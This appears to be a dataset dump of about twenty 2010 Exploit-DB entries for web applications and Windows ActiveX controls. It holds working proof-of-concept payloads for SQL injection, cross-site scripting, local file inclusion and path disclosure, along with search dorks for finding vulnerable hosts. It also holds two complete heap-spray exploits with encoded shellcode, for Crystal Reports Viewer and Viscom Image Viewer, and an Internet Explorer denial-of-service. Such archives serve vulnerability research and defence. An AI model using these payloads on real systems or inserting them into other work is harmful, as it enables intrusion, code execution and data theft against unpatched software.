QLWD/code_shield huggingface dataset:
标题: Mantis Bug Tracker 1.2.3 - 'db_type' Cross-Site Scripting / Full Path Disclosure EDB-ID: 15735 CVE: 2010-4349 2010-4348 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-15 漏洞利用脚本: MantisBT <=1.2.3 (db_type) Cross-Site Scripting & Path Disclosure Vulnerability

 
 Vendor: MantisBT Group
 Product web page: http://www.mantisbt.org
 Version affected: <1.2.4

 Summary: MantisBT is a free popular web-based bugtracking system. It is written in the PHP
 scripting language and works with MySQL, MS SQL, and PostgreSQL databases and a webserver.
 MantisBT has been installed on Windows, Linux, Mac OS, OS/2, and others. Almost any web
 browser should be able to function as a client. It is released under the terms of the GNU
 General Public License (GPL).

 Desc: Mantis Bug Tracker suffers from a cross-site scripting and a path disclosure
 vulnerability. The XSS issue is triggered when input passed via the "db_type" parameter
 to the admin/upgrade_unattended.php script is not properly sanitised before being returned
 to the user. This can be exploited to execute arbitrary HTML and script code in a user's
 browser session in context of an affected site. The PD weakness is caused due to the
 application displaying the full installation path in an error report, when supplying an
 invalid "db_type" parameter to the admin/upgrade_unattended.php script.

 Tested on: Microsoft Windows XP Professional SP3 (English)
            Debian GNU/Linux (squeeze)
            Apache 2.2.14 (Win32)
            MySQL 5.1.41
            PHP 5.3.1

 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                              liquidworm gmail com
                              Zero Science Lab - http://www.zeroscience.mk

 
 Advisory ID: ZSL-2010-4983
 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4983.php
 Vendor Advisory URL: http://www.mantisbt.org/bugs/view.php?id=12607

 13.12.2010


 PoC:
 ----------

  Dork: Copyright+MantisBT Group

  XSS: http://[MANTIS_ROOT_HOST]/admin/upgrade_unattended.php?db_type=%3Cscript%3Ealert%281%29%3C/script%3E

  PD: http://[MANTIS_ROOT_HOST]/admin/upgrade_unattended.php?db_type=%27

 ---------- URL: https://www.exploit-db.com/exploits/15735
标题: Crystal Reports Viewer 12.0.0.549 - 'PrintControl.dll' ActiveX EDB-ID: 15733 CVE: 2010-2590 类型: REMOTE 平台: WINDOWS 发布日期: 2010-12-14 漏洞利用脚本: <!--
Crystal Reports Viewer 12.0.0.549 Activex Exploit (PrintControl.dll) 0-day
By = Dr_IDE
File = "C:\Program Files\BusinessObjects\Common\4.0\crystalreportviewers12\ActiveXControls\PrintControl.dll"
method = "ServerResourceVersion"
progid = "CrystalPrintControlLib.CrystalPrintControl"
Site = http://www.sap.com
Tested On = Windows XPSP3 VM with IE 7.0.5730.13
Notes = In my testing it was not 100% reliable.
-->


<html>
<object id='target' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
<script>
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize = 20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x40000) block= block+ block+fillblock;
memory=new Array();
for( counter=0; counter<300; counter++) memory[counter]= block +shellcode;
ret='';
for( counter=0; counter<=2000; counter++)
ret+=unescape('%u0A0A%u0A0A');

target.ServerResourceVersion = ret;
</script>
</html> URL: https://www.exploit-db.com/exploits/15733
标题: Mantis Bug Tracker 1.2.3 - 'db_type' Local File Inclusion EDB-ID: 15736 CVE: 2010-4350 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-15 漏洞利用脚本: MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability

 
 Vendor: MantisBT Group
 Product web page: http://www.mantisbt.org
 Version affected: <1.2.4

 Summary: MantisBT is a free popular web-based bugtracking system. It is written in the PHP
 scripting language and works with MySQL, MS SQL, and PostgreSQL databases and a webserver.
 MantisBT has been installed on Windows, Linux, Mac OS, OS/2, and others. Almost any web
 browser should be able to function as a client. It is released under the terms of the GNU
 General Public License (GPL).

 Desc: Mantis Bug Tracker suffers from a local file inlcusion/disclosure (LFI/FD) vulnerability
 when input passed thru the "db_type" parameter (GET & POST) to upgrade_unattended.php script is
 not properly verified before being used to include files. This can be exploited to include files
 from local resources with directory traversal attacks and URL encoded NULL bytes.



 ====================================================================================
 --> library/adodb/adodb.inc.php

 ...

 4109:
 4110: $file = ADODB_DIR."/drivers/adodb-".$db.".inc.php";
 4111: @include_once($file);

 ...

 ====================================================================================



 Tested on: Microsoft Windows XP Professional SP3 (English)
            Debian GNU/Linux (squeeze)
            Apache 2.2.14 (Win32)
            MySQL 5.1.41
            PHP 5.3.1

 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                              liquidworm gmail com
                              Zero Science Lab - http://www.zeroscience.mk

 
 Advisory ID: ZSL-2010-4984
 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4984.php
 Vendor Advisory URL: http://www.mantisbt.org/bugs/view.php?id=12607

 13.12.2010


 PoC:
 ----------

  Dork: Copyright+MantisBT Group

  LFI/FD: http://[MANTIS_ROOT_HOST]/admin/upgrade_unattended.php?db_type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00

 ---------- URL: https://www.exploit-db.com/exploits/15736
标题: Joomla! Component JE Auto 1.0 - SQL Injection EDB-ID: 15714 CVE: 2010-4517 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-09 漏洞利用脚本: JE Auto 1.0 SQL Injection Vulnerability

 Name              JE Auto
 Vendor            http://joomlaextensions.co.in/extensions/components/je-auto.html
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-12-09

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

JE Auto is a commercial Joomla's component.


II. DESCRIPTION
_______________

A parameter is not properly sanitised before  being used
in a SQL query.


III. ANALYSIS
_____________

Summary:

 A) SQL Injection
 

A) SQL Injection
________________

Input  passed   to   "char"  parameter  is  not  properly
sanitised before being used in a SQL query.  This  can be
exploited  to  manipulate  SQL   queries   by   injecting
arbitrary SQL code.

Successful exploitation requires that magic_quotes_gpc is
set to Off.


IV. SAMPLE CODE
_______________

A) SQL Injection

http://site/path/index.php?option=com_jeauto&catid=1&item=1&Itemid=3&view=item&char=' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14%23


V. FIX
______

No fix. URL: https://www.exploit-db.com/exploits/15714
标题: phpMyAdmin - Client-Side Code Injection / Redirect Link Falsification EDB-ID: 15699 CVE: 2010-4480 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-06 漏洞利用脚本: PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification

Credits:
  Emanuele 'emgent' Gentili   <emgent@backtrack-linux.org>
  Marco 'white_sheep' Rondini <white_sheep@backtrack-linux.org>
  Alessandro 'scox' Scoscia   <scox@backtrack.it>


In error.php, PhpMyAdmin permit to insert text and restricted tag, like BBCode.
With tag [a@url@page]Click Me[/a], you can insert your own page, and redirect all users.
Available tags are:


      '[i]'       => '<em>',      
      '[/i]'      => '</em>',     
      '[em]'      => '<em>',
      '[/em]'     => '</em>',
      '[b]'       => '<strong>',  
      '[/b]'      => '</strong>', 
      '[strong]'  => '<strong>',
      '[/strong]' => '</strong>',
      '[tt]'      => '<code>',    
      '[/tt]'     => '</code>',   
      '[code]'    => '<code>',
      '[/code]'   => '</code>',
      '[kbd]'     => '<kbd>',
      '[/kbd]'    => '</kbd>',
      '[br]'      => '<br />',
      '[/a]'      => '</a>',
      '[sup]'      => '<sup>',
      '[/sup]'      => '</sup>',

      and replace '/\[a@([^"@]*)@([^]"]*)\]/' with '<a href="\1" target="\2">'


POC:

http://127.0.0.1/phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It%27s+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.tigersecurity.it%40_self]This%20Is%20a%20Link[%2Fa]


OWASP Reference:

http://www.owasp.org/index.php/Unvalidated_Input URL: https://www.exploit-db.com/exploits/15699
标题: Microsoft Internet Explorer 8 - CSS Parser Denial of Service EDB-ID: 15708 CVE: 2010-3971 类型: DOS 平台: WINDOWS 发布日期: 2010-12-08 漏洞利用脚本: <code>
<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />
</code>

<code of css.css>
*{
 color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");
</code>


Exploit-DB Notes:
* Original credit goes to an unidentified researcher using WooYun anonymous account "路人甲".
WooYun is a connection platform for vendors and security researchers:
http://www.wooyun.org/bugs/wooyun-2010-0885

* Dec 22, 2010 - Microsoft releases security advisory for this vulnerability:
http://www.microsoft.com/technet/security/advisory/2488013.mspx URL: https://www.exploit-db.com/exploits/15708
标题: Pulse CMS Basic - Local File Inclusion EDB-ID: 15691 CVE: 2010-4330 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-05 漏洞利用脚本: 'Pulse CMS Basic' Local File Inclusion Vulnerability (CVE-2010-4330)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'includes/controller.php' script that allows for arbitrary local file inclusion due to a null-byte attack.

 
II. TESTED VERSION
---------------------------------------
Version 1.2.8


III. AFFECTED VERSIONS
---------------------------------------
< 1.2.9


IV. PoC EXPLOIT
---------------------------------------
http://www.example.com/index.php?p=/../../../../../../../../../../../../../../etc/passwd%00


V. NOTES 
---------------------------------------
* magic_quotes_gpc must be disabled for null-byte attacks to work
* This issue did not affect Pulse CMS Pro according to the vendor


VI. SOLUTION
---------------------------------------
Upgrade all previously installed versions to 1.2.9


VII. REFERENCES
---------------------------------------
http://pulsecms.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4330
http://www.uncompiled.com/2010/12/pulse-cms-basic-local-file-inclusion-vulnerability-cve-2010-4330/


VIII. TIMELINE
---------------------------------------
11/24/2010: Initial vendor disclosure
11/25/2010: Vendor response that they had fixed the issue & updated the existing version (1.2.8)
11/25/2010: Replied to vendor inquiring if a new point release would be made and affected versions
11/26/2010: Vendor response noting a version increment was coming & vulnerable versions confirmation
11/26/2010: Pulse CMS Basic 1.2.9 released
12/05/2010: Public disclosure URL: https://www.exploit-db.com/exploits/15691
标题: HotWebScripts HotWeb Rentals - 'resorts.asp' SQL Injection EDB-ID: 15688 CVE: 2010-4737 类型: WEBAPPS 平台: ASP 发布日期: 2010-12-05 漏洞利用脚本: # Author: R4dc0re
# Exploit Title: HotWebScripts HotWeb Rentals SQL injection Vulnerability
# Date: 05-12-2010
# Vendor or Software Link: http://www.hotwebscripts.co.uk/
# Category:WebApp
# Price: Â£150
# Contact: R4dc0re@yahoo.fr
# Website: www.1337db.com
# Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members 

Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

DotWeb Rentals is a simple to operate, ASP/Access database application that can be used 
to list property owner's homes for rent. Owners post their home, along with up to 6 images
and a comprehensive list of details. The application is best suited to small to medium 
property rental sites and in particular, to holiday rentals such as Spanish property or
Polaris World type property rentals. 

[Vulnerability]

SQL Injection:

http://server/resorts.asp?PropResort=[code]
######################################################################################## URL: https://www.exploit-db.com/exploits/15688
标题: Gatesoft Docusafe 4.1.0 - SQL Injection EDB-ID: 15686 CVE: 2010-4736 类型: WEBAPPS 平台: ASP 发布日期: 2010-12-05 漏洞利用脚本: # Author: R4dc0re
# Exploit Title: Gatesoft Docusafe Sql Injection Vulnerablity 
# Date: 05-12-2010
# Vendor or Software Link:http://gatesoft.no/
# Category:WebApp
# Version:4.1.0
# Price:3500$
# Contact: R4dc0re@yahoo.fr
# Website: www.1337db.com
# Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members

  Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

Product Document Management (PDM) system special made for electronics and 
or mechanical industry. 
DocuSafe is used by large manufacturers in several countries.
Code: ASP 2.0 & VBScript

[Vulnerability]

SQL Injection:

http://server/ECO.asp?ECO_ID=[Code]
######################################################################################## URL: https://www.exploit-db.com/exploits/15686
标题: Ecommercemax Solutions Digital Goods Seller - SQL Injection EDB-ID: 15687 CVE: 2010-4735 类型: WEBAPPS 平台: ASP 发布日期: 2010-12-05 漏洞利用脚本: # Author: R4dc0re
# Exploit Title:Ecommercemax Solutions Digital good seller Sql Injection Vulnerablity 
# Date: 05-12-2010
# Vendor or Software Link:http://www.ecommercemax.com/
# Category:WebApp
# Version:1.5
# Price:60$
# Contact: R4dc0re@yahoo.fr
# Website: www.1337db.com
# Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members

  Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

DGS auto-fulfills the orders by sending a download code, password and 
download link to your customers instantly. 
They get the goods, you get the cash! All these happening w/out you lifting a finger. 
Sell e-books, e-zines, Flash, digital arts, ringtones... Code: ASP 2.0 & VBScript

[Vulnerability]

SQL Injection:

http://server/shoppingcart.asp?d=[Code]
######################################################################################## URL: https://www.exploit-db.com/exploits/15687
标题: T-Dreams Cars Ads Package 2.0 - SQL Injection EDB-ID: 15677 CVE: 2010-4829 类型: WEBAPPS 平台: ASP 发布日期: 2010-12-04 漏洞利用脚本: # Author: R4dc0re
# Exploit Title: T-Dreams Cars Ads Package SQL injection Vulnerability
# Date: 04-12-2010
# Vendor or Software Link:http://t-dreams.com
# Category:WebApp
#Version:2.0
#Price:31$
#Contact: R4dc0re@yahoo.fr
#Website: www.1337db.com
#Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members 

Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

. JPhotos Upload to Database

. Up to 3 images per ad

. Car Makers & Car Models Categories

. Secure Members Area

. Member places many ads

. Web Based Administrating Area

. Easy to register Forms

. Information & Users Privacy

. Easy to merge with existing sites

. MS Access Included

. SQL Upgrading is enabled

. Open Source Code

[Vulnerability]

SQL Injection:

http://server/processview.asp?key=[Code]
######################################################################################## URL: https://www.exploit-db.com/exploits/15677
标题: Wireshark - LDSS Dissector Buffer Overflow EDB-ID: 15676 CVE: 2010-4300 类型: DOS 平台: MULTIPLE 发布日期: 2010-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/44987/info

Wireshark is prone to a buffer-overflow vulnerability.

Exploiting this issue may allow attackers to crash the application and deny service to legitimate users. Attackers may also execute arbitrary code in the context of vulnerable users running the application.

This issue affects Wireshark 1.2.0 through 1.2.12 and 1.4.0 through 1.4.1.

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15676-pcap.zip URL: https://www.exploit-db.com/exploits/15676
标题: T-Dreams Job Seekers Package 3.0 - SQL Injection EDB-ID: 15678 CVE: 2010-4830 类型: WEBAPPS 平台: ASP 发布日期: 2010-12-04 漏洞利用脚本: # Author: R4dc0re
# Exploit Title: T-Dreams Job Seekers Package SQL injection Vulnerability
# Date: 04-12-2010
# Vendor or Software Link:http://t-dreams.com
# Category:WebApp
#Version:3.0
#Price:279$
#Contact: R4dc0re@yahoo.fr
#Website: www.1337db.com
#Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members 

Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

Job Seekers can post their C.V.s and contact employers for free.
Employers (companies) can post as many Job Ads as they need.
Users can modify their posts later or delete them through a security system.
The System is provided with Advanced Search Capabilities.. 
The system Allows admin to control how many Jobs Ads a company can post (e.g., for free). 
It allows too how many job seekers a company can contact (e.g., for free).. and a lot of related features

[Vulnerability]

SQL Injection:
http://server/jobcareerV3/Resumes/TD_RESUME_Indlist.asp?z_Residency=[Code]
######################################################################################## URL: https://www.exploit-db.com/exploits/15678
标题: Viscom Image Viewer CP Gold 6 - ActiveX 'TifMergeMultiFiles()' Remote Buffer Overflow EDB-ID: 15668 CVE: 2010-5193 类型: REMOTE 平台: WINDOWS 发布日期: 2010-12-03 漏洞利用脚本: <html>
<!--
Exploit Title: Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow Exploit
Found By: Dr_IDE
Download: http://www.viscom.com
Greets:  bz1p, bz1p@bshellz.net for finding the app.
Tested on:  XP SP3 IE7
CVE:   (0day)
-->
<object CLASSID="clsid:5220cb21-c88d-11cf-b347-00aa00a28331" width="14" height="14">
<param NAME="LPKPath" VALUE="imageviewer.lpk"></object>
<object classid="clsid:E589DA78-AD4C-4FC5-B6B9-9E47B110679E" id='target'></object>
<script>
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0C%0C%0C%0C");

arg2=String("abcd");

target.TIFMergeMultiFiles(arg2, arg2, ret);
</script>
</html> URL: https://www.exploit-db.com/exploits/15668
标题: LittlePhpGallery 1.0.2 - Local File Inclusion EDB-ID: 15656 CVE: 2010-4406 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-01 漏洞利用脚本: # Exploit Title: local file include / File Disclosure
# Date: 
# topic:littlePhpGallery
# Author: kire bozorge khavarmiane

# Software Link: http://brunetton.tuxfamily.org/progs/littlePhpGallery_1.0.2.tar.gz

# Version: 1.0.2

# Thanks:  shash pashe naneye decoder , kose tange ameye joker,az hame mohem tar kose r (joon bokonamet az koon)
------------------------------------------------
poc:
/littlePhpGallery_1.0.2/gallery.php?repertoire=..//..//..//..//kire khar
------------------------------------------------ URL: https://www.exploit-db.com/exploits/15656
标题: Ananda Real Estate 3.4 - 'list.asp' Multiple SQL Injections EDB-ID: 15661 CVE: 2010-4782 2006-6807 类型: WEBAPPS 平台: ASP 发布日期: 2010-12-02 漏洞利用脚本: TITLE: Ananda Real Estate "list.asp" Multiple SQL Injection Vulnerabilities
PRODUCT: Ananda Real Estate 3.4
PRODUCT URL: http://www.softwebsnepal.com/website_design_realestate.htm
RESEARCHERS: underground-stockholm.com
RESEARCHERS URL: http://underground-stockholm.com/

BUGS:

http://[host]/[path]/list.asp?city=%27%29%29+union+insect&state=&country=&minprice=0&maxprice=0&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=%27%29%29+union+insect&country=&minprice=0&maxprice=0&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=%27%29%29+union+insect&minprice=0&maxprice=0&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=&minprice=%27%29%29+union+insect&maxprice=0&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=&minprice=&maxprice=%27%29%29+union+insect&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=&minprice=&maxprice=&search=yes&bed=%27%29%29+union+insect&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=&minprice=&maxprice=&search=yes&bed=&bath=%27%29%29+union+insect&Submit=Search+Now! URL: https://www.exploit-db.com/exploits/15661
标题: enano CMS 1.1.7pl1 - Multiple Vulnerabilities EDB-ID: 15645 CVE: 2010-4781 2010-4780 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-30 漏洞利用脚本: Vulnerability ID: HTB22709
Reference: http://www.htbridge.ch/advisory/sql_injection_in_enano_cms.html
Product: Enano CMS
Vendor: enanocms.org ( http://enanocms.org/ ) 
Vulnerable Version: 1.1.7pl1
Vendor Notification: 16 November 2010 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

SQL Injection:
Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in email variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

Step1.
Register new user with email: "any@email.com'SQL_CODE"

Step2.
Log in with new login and password.
Solution: Upgrade to the most recent version

Path Disclosure:
Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "title" variable, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.

The following PoC is available:


http://[host]/index.php?title=Special:Captcha/1
http://[host]/index.php?title[]=1

Solution: Upgrade to the most recent version URL: https://www.exploit-db.com/exploits/15645